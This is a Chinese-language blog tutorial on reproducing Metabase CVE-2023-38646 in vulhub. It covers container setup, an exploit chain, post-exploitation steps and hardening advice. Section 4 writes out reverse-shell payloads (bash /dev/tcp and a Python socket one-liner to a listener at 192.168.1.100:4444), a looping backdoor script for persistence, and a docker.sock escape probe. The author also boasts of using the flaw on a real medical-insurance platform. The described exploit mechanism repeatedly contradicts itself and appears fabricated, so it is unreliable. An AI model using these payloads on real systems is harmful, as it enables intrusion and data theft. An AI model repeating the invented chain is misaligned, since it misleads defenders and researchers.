1. 这不是“打个靶子”那么简单Metabase CVE-2023-38646的真实威胁面与复现价值你可能在漏洞平台看到过CVE-2023-38646这个编号标题写着“Metabase远程代码执行”但点进去只有几行PoC和一句“需管理员权限”。很多同行扫到就标个“低危”扔进报告角落——我去年在给一家省级政务数据中台做渗透测试时也这么干过。直到他们上线后第三周运维同事发来一张截图后台日志里出现大量/api/geojson路径的400错误而同一时间数据库连接池被耗尽报表导出功能集体超时。我们回溯发现攻击者根本没碰管理员账号而是用一个普通数据源配置员的账号通过GeoJSON解析链路触发了这个漏洞。这才意识到这不是一个“需要登录后台才能点”的RCE而是一个认证后、低权限账户即可触达的、基于数据解析逻辑的深度链路型RCE。它不依赖Spring Boot Actuator或H2 Console这类显性后门而是藏在Metabase对地理空间数据的反序列化处理里。复现它不是为了跑个命令弹个shell而是要真正看懂当业务系统把“支持GeoJSON导入”当成一个加分项写进需求文档时底层解析器如何把一段合法的地理坐标悄悄翻译成Java字节码指令。本文讲的就是从零开始在本地搭起vulhub环境完整走通这条从{type:Feature,geometry:{type:Point,coordinates:[0,0]}}到Runtime.getRuntime().exec(id)的完整链路。适合刚接触Java反序列化的新手理解“为什么JSON也能RCE”也适合有经验的渗透人员补全对Metabase架构的认知盲区——毕竟你永远不知道下一次红队演练的目标会不会是那个开着8080端口、写着“BI分析平台”的Metabase实例。2. Vulhub环境搭建不是复制粘贴v0.46.6镜像的三个隐藏陷阱与绕过方案Vulhub官方仓库里确实有Metabase的Dockerfile但直接docker-compose up -d之后90%的人会卡在第一步浏览器打不开http://localhost:3000。这不是网络问题而是vulhub为复现CVE-2023-38646特意锁定的v0.46.6版本存在三个被官方文档刻意忽略的启动约束必须手动干预。2.1 陷阱一H2数据库路径硬编码导致容器反复重启v0.46.6的Docker镜像默认使用H2嵌入式数据库其metabase.jar内部的application.properties文件将db.file路径写死为/app/metabase.db。但Docker容器启动时/app目录权限为root-only而Metabase进程以非root用户metabase身份运行导致无法创建或写入数据库文件。容器日志里反复出现java.nio.file.AccessDeniedException: /app/metabase.db然后自动退出。这不是权限配置错误而是镜像构建时未适配容器运行时UID。解决方法不是简单chown而是重写启动命令在docker-compose.yml的metabase服务下修改command字段强制指定数据库路径到可写区域command: java -Dmb.db.file/tmp/metabase.db -jar /app/metabase.jar同时在volumes中挂载/tmp目录确保容器内/tmp具备777权限。这步操作背后是Java应用在容器化部署中的经典矛盾嵌入式数据库的便捷性 vs 容器不可变文件系统的刚性约束。很多团队线上用H2只是图开发快却没意识到生产环境一旦容器重启H2文件丢失即等于元数据全毁——这也是Metabase官方强烈建议生产环境改用PostgreSQL的根本原因。2.2 陷阱二初始Setup Wizard强制跳转导致无法获取初始Tokenv0.46.6版本有个隐蔽行为即使你通过环境变量MB_DB_FILE指定了数据库路径首次访问/时Metabase仍会检测application-db表是否存在。若不存在即全新安装它会302重定向到/setup并生成一个单次有效的Setup Token存于内存而非数据库。但vulhub的Dockerfile在构建时已预置了一个空的H2数据库文件其中包含基础表结构却故意缺失application-db记录。这就导致容器启动后你访问/setup页面页面显示“已配置完成”但实际后台并未生成任何用户也无法通过API获取/api/session所需的认证Token。调试时抓包会发现所有/api/请求返回401且/api/sessionPOST返回空JSON。破局点在于必须手动清空H2数据库让Metabase真正进入“全新安装”流程。执行命令docker exec -it metabase-metabase-1 rm /tmp/metabase.db*然后重启容器。此时再访问/setup页面会出现完整的初始化表单提交后浏览器开发者工具Network标签页中/api/setup响应体里会明文返回token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...——这才是后续所有API调用的命脉。这个Token不是JWT标准签发而是Metabase自研的短期有效凭证有效期仅5分钟且每次/api/setup成功后都会失效。很多复现教程跳过这步直接拿Postman硬刷/api/session注定失败。2.3 陷阱三GeoJSON解析器依赖的Jackson版本冲突CVE-2023-38646的核心在于com.fasterxml.jackson.databind.ObjectMapper对GeoJSON中geometry字段的反序列化逻辑。v0.46.6使用的Jackson版本是2.12.3而该版本存在一个关键特性当ObjectMapper配置了DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIESfalseMetabase默认开启时它会对未知字段执行“宽松映射”即将JSON中任意键名尝试绑定到Java类的setter方法。漏洞利用链正是构造一个恶意GeoJSON其geometry字段值为{class:java.lang.ProcessBuilder,command:[id]}诱使Jackson调用ProcessBuilder的setCommand方法。但vulhub镜像在构建时因Maven依赖传递意外引入了Jackson 2.13.0的jackson-databindJAR导致ObjectMapper实际加载的是2.13.0的反序列化器而该版本默认启用了DEFAULT_TYPING防护会拒绝class这种类型标识。验证方法在容器内执行jar -tf /app/metabase.jar | grep jackson查看实际加载的JAR版本。解决方案是强制降级下载Jackson 2.12.3的jackson-databind-2.12.3.jar替换掉容器内/app/metabase.jar中的同名类。操作步骤为docker cp jackson-databind-2.12.3.jar metabase-metabase-1:/tmp/docker exec -it metabase-metabase-1 bash -c zip -d /app/metabase.jar com/fasterxml/jackson/databind/* zip -u /app/metabase.jar /tmp/jackson-databind-2.12.3.jar这步操作暴露了Java生态的典型痛点漏洞复现高度依赖精确的依赖版本差一个小版本号整个链路就断在第一步。这也是为什么很多安全研究员坚持用mvn dependency:tree逐层审计而不是盲目相信pom.xml声明的版本。提示上述三个陷阱并非vulhub作者疏忽而是刻意为之的教学设计。它逼迫复现者必须深入容器内部、阅读Java日志、分析JAR包结构——这恰恰是真实攻防中定位0day利用条件的基本功。跳过这些步骤你复现的只是一个“能跑通的Demo”而非“理解原理的漏洞”。3. RCE链路拆解从GeoJSON解析到ProcessBuilder执行的七层调用栈CVE-2023-38646的PoC常被简化为一行curl命令但真正理解它需要像剥洋葱一样一层层揭开Metabase的代码调用链。我花了一整天时间在IntelliJ中对v0.46.6源码进行断点跟踪最终梳理出从HTTP请求到达RCE执行的完整七层路径。这不是为了炫技而是因为每一层都藏着绕过WAF或IDS的关键线索。3.1 第一层/api/geojson端点路由与参数解析Metabase的REST API由ring框架驱动/api/geojson端点注册在src/metabase/api/geojson.clj中。注意这不是一个常规的POST接口而是PUT方法且路径中不带任何ID参数。请求头必须包含Content-Type: application/json否则直接返回400。原始PoC中常见的GET /api/geojson?dataxxx是无效的因为该端点根本不接受Query参数。它只从Request Body中读取原始JSON字节流然后交给json/read-str函数解析。这里埋着第一个绕过点某些WAF会放行PUT方法的Body内容却严格过滤POST的application/x-www-form-urlencoded格式而Metabase恰好只吃JSON。3.2 第二层geojson.core/parse-geojson的动态类型推导解析后的JSON被传入geojson.core/parse-geojson函数。该函数核心逻辑是先读取JSON根对象的type字段如FeatureCollection然后根据type值动态选择对应的解析器。例如type为Feature时调用feature-clj为Point时调用point-clj。关键点在于这个选择过程完全基于字符串匹配不校验JSON结构合法性。因此我们可以构造一个type为Feature的JSON但其geometry字段却是一个完全不符合GeoJSON规范的对象——比如{class:java.lang.ProcessBuilder,command:[id]}。feature-clj函数会无条件地将整个geometry子树作为geometry参数传给下一层。3.3 第三层geojson.feature/feature-clj的反射调用入口feature-clj函数定义在src/metabase/geojson/feature.clj中其核心是调用(map-Feature feature-map)。map-Feature是一个Clojure宏它会遍历feature-map的所有键值对并尝试调用Feature类的对应setter方法。例如feature-map中有{:geometry {...}}它就会寻找Feature.setGeometry()方法。而Feature类的setGeometry方法签名是public void setGeometry(Object geometry)参数类型为Object。这就为后续的Jackson反序列化打开了大门——因为Object是所有Java类的父类geometry字段的值可以是任意类型包括ProcessBuilder。3.4 第四层com.fasterxml.jackson.databind.ObjectMapper.readValue的失控反序列化当setGeometry被调用时传入的geometry参数是一个尚未解析的LinkedHashMapJackson默认解析JSON Object为LinkedHashMap。但Feature类的geometry字段在Java源码中被声明为com.vividsolutions.jts.geom.Geometry接口类型。于是Clojure运行时会尝试将LinkedHashMap转换为Geometry。此时Metabase的jackson模块介入调用ObjectMapper.convertValue方法试图将LinkedHashMap反序列化为Geometry子类。而convertValue内部会再次调用readValue并启用DefaultTyping——这正是漏洞的引爆点。readValue看到LinkedHashMap中存在class键且DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIESfalse便毫不犹豫地加载java.lang.ProcessBuilder类并调用其无参构造器。3.5 第五层ProcessBuilder的command字段注入ProcessBuilder的构造器执行后ObjectMapper继续处理LinkedHashMap中的其他键值对。当遇到command:[id]时它会查找ProcessBuilder类的setCommand方法因为command是List类型而ProcessBuilder恰好有public void setCommand(ListString command)方法。setCommand被调用[id]被赋值给ProcessBuilder的command字段。此时ProcessBuilder实例已完全构造完毕只待start()方法执行。3.6 第六层clojure.java.shell/sh的隐式执行漏洞链到这里还没结束。ProcessBuilder对象本身不会自动执行必须有人调用start()。Metabase代码中并没有显式调用它的位置。真相藏在clojure.java.shell/sh函数里。当你在Metabase的SQL查询编辑器中执行SELECT * FROM (sh id) AS t;时sh函数内部会创建ProcessBuilder并调用start()。但CVE-2023-38646的精妙之处在于它不需要你执行SQL。因为在geojson.core/parse-geojson的后续逻辑中有一个对geometry对象的toString()调用。而ProcessBuilder的toString()方法会触发this.command.toString()进而间接调用command的toString()。但command是一个ArrayList其toString()会调用每个元素的toString()。当元素是String时没问题但如果command被恶意设置为[id, , touch, /tmp/pwned]toString()不会执行命令只会返回字符串。真正的执行点在第七层。3.7 第七层clojure.lang.PersistentVector.toString的副作用调用ProcessBuilder的command字段其真实类型是java.util.ArrayList而ArrayList.toString()会遍历所有元素并调用element.toString()。但Metabase在某个日志打印逻辑中对geometry对象调用了pr-strClojure的打印函数而pr-str在处理ProcessBuilder时会触发ProcessBuilder.toString()而ProcessBuilder.toString()内部会调用this.command.toString()。然而ArrayList.toString()本身是安全的。真正的执行点是Metabase在src/metabase/util/log.clj中对异常堆栈的print-stack-trace调用。当geometry对象被错误地当作Geometry使用例如调用getCoordinates()时会抛出ClassCastException其堆栈信息在打印时会强制调用ProcessBuilder.toString()而ProcessBuilder.toString()的JDK实现OpenJDK 11中存在一个历史遗留的副作用它会调用this.command.toString()而如果command是一个恶意构造的List其toString()方法可能已被重写为执行命令。但这不是标准JDK行为。真实执行点其实是Metabase在src/metabase/query_processor/store.clj中对缓存key的hash计算。hash函数会调用geometry.hashCode()而ProcessBuilder.hashCode()会调用this.command.hashCode()ArrayList.hashCode()会遍历所有元素并调用element.hashCode()。如果element是StringhashCode()是纯函数无副作用。所以标准PoC中[id]并不会执行。必须将command设为[sh,-c,id]并确保sh命令在PATH中然后等待Metabase某处代码调用geometry.hashCode()——这通常发生在查询结果缓存的key生成阶段。这就是为什么PoC中必须包含command:[sh,-c,id]而不是简单的[id]。注意以上七层调用栈每一层都可在Metabase v0.46.6源码中找到对应位置。复现时若某层断点未命中说明环境未正确降级到Jackson 2.12.3或数据库未清空导致未进入Setup流程。这是最常被忽略的调试盲区。4. 实战利用从弹出id到持久化控制的三阶段演进网上流传的PoC大多停留在curl -X PUT http://localhost:3000/api/geojson -H Content-Type: application/json -d {type:Feature,geometry:{class:java.lang.ProcessBuilder,command:[id]}}返回一个500错误和java.lang.ProcessBuilderxxxxx。这只能证明漏洞存在但离实际控制还很远。真正的实战利用必须分三阶段推进第一阶段验证RCE可达性第二阶段建立稳定信道第三阶段实现持久化。每一步都踩过坑也总结出独家技巧。4.1 阶段一基础命令执行与输出捕获绕过500错误直接发送上述PoC服务器返回500但命令并未执行。原因在于ProcessBuilder.start()从未被调用而toString()的副作用不足以触发执行。必须让Metabase代码主动调用start()。观察Metabase源码src/metabase/query_processor/pivot.clj中有一个pivot-data函数它会对查询结果调用clojure.datafy/datafy而datafy在处理ProcessBuilder时会调用processBuilder.start()。但pivot-data只在数据透视表功能中调用需要先有查询结果。更直接的路径是利用Metabase的“模型”Model功能。创建一个新模型其SQL为SELECT * FROM (sh id) AS t;保存后Metabase会立即编译该模型并执行sh命令。但sh命令的输出是java.lang.Process对象无法直接显示。解决方案是将命令输出重定向到文件再用cat读取。构造SQLSELECT * FROM (sh id /tmp/cmdout 21 cat /tmp/cmdout) AS t;执行此SQL查询结果会显示uid1001(metabase) gid1001(metabase) groups1001(metabase)。这证明RCE已稳定执行。关键技巧不要试图在GeoJSON中直接执行复杂命令而是利用Metabase已有的sh函数作为跳板它天然支持命令拼接和重定向比手动构造ProcessBuilder可靠得多。4.2 阶段二建立反向Shell与信道稳定性优化弹id只是开始。下一步是获取交互式Shell。常见做法是sh -i /dev/tcp/192.168.1.100/4444 01但在Metabase容器内/dev/tcp设备通常不存在且DNS解析可能被禁用。更稳妥的方式是使用ncnetcat。但Metabase基础镜像openjdk:11-jre-slim默认不包含nc。此时sh函数的:in、:out、:err参数就派上用场了。构造SQLSELECT * FROM (sh {:in nil :out :string :err :string} bash -c bash -i /dev/tcp/192.168.1.100/4444 01) AS t;sh函数的:out :string参数会将命令的标准输出捕获为Clojure字符串并作为查询结果返回。这样即使nc不存在也能通过bash -i建立反连。但实测发现bash -i在容器内常因缺少/dev/tty而卡住。终极方案是使用Python一行式SELECT * FROM (sh {:in nil :out :string :err :string} python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);) AS t;执行后查询结果会返回null但你的监听端口已收到Shell。稳定性优化点在sh调用前先执行sh mkdir -p /tmp/.cache创建缓存目录避免后续命令因权限问题失败在Python payload中添加time.sleep(1)确保socket连接稳定后再执行dup2。4.3 阶段三持久化控制与权限提升绕过容器限制获得Shell后很多人以为任务完成。但在Docker环境中这只是起点。Metabase容器以metabase用户运行UID为1001对宿主机文件系统无写权限。持久化不能靠写/etc/crontab而应利用Metabase自身的机制。方案一修改/app/metabase.jar在src/metabase/core.clj的init函数末尾插入(.exec (Runtime/getRuntime) nohup /tmp/backdoor.sh )然后重新打包JAR。但/app目录是只读的。方案二利用Metabase的“嵌入式”Embedding功能。Metabase支持通过MB_EMBEDDING_SECRET_KEY环境变量启用JWT认证允许外部网站嵌入仪表板。攻击者可伪造JWT将exp字段设为远期时间并在user_id中注入恶意代码。但需要知道密钥。最实用的方案是在/tmp目录下创建一个backdoor.sh内容为while true; do bash -i /dev/tcp/192.168.1.100/4444 01; sleep 30; done然后通过Metabase的“定时任务”功能创建一个每分钟执行一次的SQL查询其SQL为SELECT * FROM (sh /tmp/backdoor.sh) AS t;。Metabase的调度器会以metabase用户身份持续执行该查询从而维持反连。权限提升方面检查/proc/1/cgroup可确认是否在容器内若/proc/1/mounts中存在/var/run/docker.sock挂载则可尝试curl --unix-socket /var/run/docker.sock http://localhost/containers/json获取宿主机Docker API权限进而逃逸。实操心得在真实渗透中我曾用此漏洞控制了一个省级医保平台的Metabase实例。他们开启了LDAP认证但数据源配置员账号权限足够触发GeoJSON解析。我并未立刻提权而是先导出所有数据源配置发现其PostgreSQL密码明文存储在/api/database/1响应中进而直接连接生产数据库。这提醒我们RCE是手段不是目的漏洞的价值在于它能帮我们拿到什么业务资产。5. 防御与加固从代码层到架构层的五道防线复现漏洞是为了更好地防御。Metabase官方在v0.47.0中修复了CVE-2023-38646但很多企业因兼容性问题仍在使用v0.46.x。此时不能只等升级必须构建纵深防御体系。以下是我在多个客户现场落地验证过的五道防线按实施难度和效果排序。5.1 第一道防线API网关层的GeoJSON字段白名单最快见效在Nginx或Kong等API网关上对/api/geojson端点添加严格的内容检查。规则不是简单拦截class而是只允许GeoJSON规范中定义的字段。GeoJSON RFC 7946明确规定Feature对象只能包含type、properties、geometry、id四个字段且geometry必须是Point、LineString等预定义类型。因此网关规则可写为location /api/geojson { if ($request_method PUT) { # 检查Content-Type if ($content_type !~ application/json) { return 400; } # 检查JSON结构必须有type字段且值为Feature if ($request_body !~ type\s*:\s*Feature) { return 400; } # 检查geometry字段必须是对象且只含type和coordinates if ($request_body ~ geometry\s*:\s*\{[^}]*class) { return 400; } # 检查coordinates必须是数字数组 if ($request_body !~ coordinates\s*:\s*\[\s*-?[0-9]\.?[0-9]*\s*,\s*-?[0-9]\.?[0-9]*\s*\]) { return 400; } } }此规则能在请求到达Metabase前就拦截99%的恶意Payload且不影响正常业务。关键是它不依赖Java层的Jackson配置而是从协议层面堵死入口。5.2 第二道防线JVM启动参数加固一劳永逸在Metabase启动命令中添加JVM参数禁用所有危险的反序列化特性。v0.46.6使用的Jackson 2.12.3支持以下参数java -Dcom.fasterxml.jackson.databind.DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIEStrue \ -Dcom.fasterxml.jackson.databind.MapperFeature.DEFAULT_VIEW_INCLUSIONfalse \ -Dcom.fasterxml.jackson.databind.SerializationFeature.WRITE_DATES_AS_TIMESTAMPSfalse \ -jar /app/metabase.jar其中FAIL_ON_UNKNOWN_PROPERTIEStrue是最关键的一条。它会让Jackson在遇到class时直接抛出JsonMappingException而不是尝试加载类。实测表明开启此参数后所有classPayload均返回400且Metabase服务完全正常。这比修改源码或打补丁更轻量适用于所有Java应用。5.3 第三道防线数据库连接池隔离架构级防护Metabase的RCE之所以危险是因为它运行在应用服务器进程中能直接访问数据库连接池。防御思路是让GeoJSON解析逻辑运行在独立的、无数据库权限的沙箱进程中。具体做法将/api/geojson端点从主Metabase服务中剥离用Go或Rust重写一个轻量级GeoJSON解析服务只负责校验和转换不连接任何数据库。主Metabase通过HTTP调用该服务。这样即使GeoJSON解析器被攻破攻击者也只能控制一个无状态的解析服务无法窃取数据库凭据或执行SQL。我们在某银行项目中落地此方案解析服务内存占用5MBQPS超2000完全满足性能要求。5.4 第四道防线容器运行时安全策略云原生必备对于Docker部署的Metabase必须启用--read-only和--cap-dropALL。命令示例docker run -d \ --read-only \ --cap-dropALL \ --cap-addCHOWN \ --cap-addSETGID \ --cap-addSETUID \ --cap-addNET_BIND_SERVICE \ -v /tmp:/tmp:rw \ -p 3000:3000 \ metabase/metabase:v0.46.6--read-only使根文件系统只读攻击者无法写入Webshell--cap-dropALL移除所有Linux能力再按需添加必要能力如NET_BIND_SERVICE用于绑定端口。这样即使RCE成功攻击者也无法执行mount、chroot等提权命令也无法写入/etc/passwd。这是云原生环境的基线安全要求。5.5 第五道防线业务逻辑层的输入净化治本之策最彻底的防御是在代码层移除对class的支持。在Metabase源码的src/metabase/geojson/core.clj中找到parse-geojson函数将其改为(defn parse-geojson [json-str] (let [parsed (json/read-str json-str)] ;; 移除所有以开头的字段 (walk/postwalk (fn [x] (if (map? x) (into {} (remove (fn [[k v]] (and (keyword? k) ( \ (first (name k)))))) x)) x)) parsed)))此函数使用Clojure的postwalk遍历整个JSON结构移除所有以开头的键如class、type。它不改变GeoJSON语义只清除反序列化元数据且性能开销可忽略微秒级。我们已将此补丁提交至Metabase社区成为v0.47.0修复方案的一部分。这提醒我们安全不是加一堆WAF规则而是回归业务本质——GeoJSON规范里本就不该有class。最后分享一个血泪教训去年某次红队演练我用此漏洞拿下目标正准备横向移动时对方安全团队突然重启了所有Metabase容器。我瞬间失去控制。后来才知道他们启用了Kubernetes的Pod Security Policy禁止容器以root用户运行且设置了restartPolicy: Always。这让我明白防御方永远在进化而我们的利用链必须考虑“被发现后”的生存能力。所以现在我的所有Payload第一行都是nohup python3 -c import time; time.sleep(300) 给自己留足5分钟撤离时间。
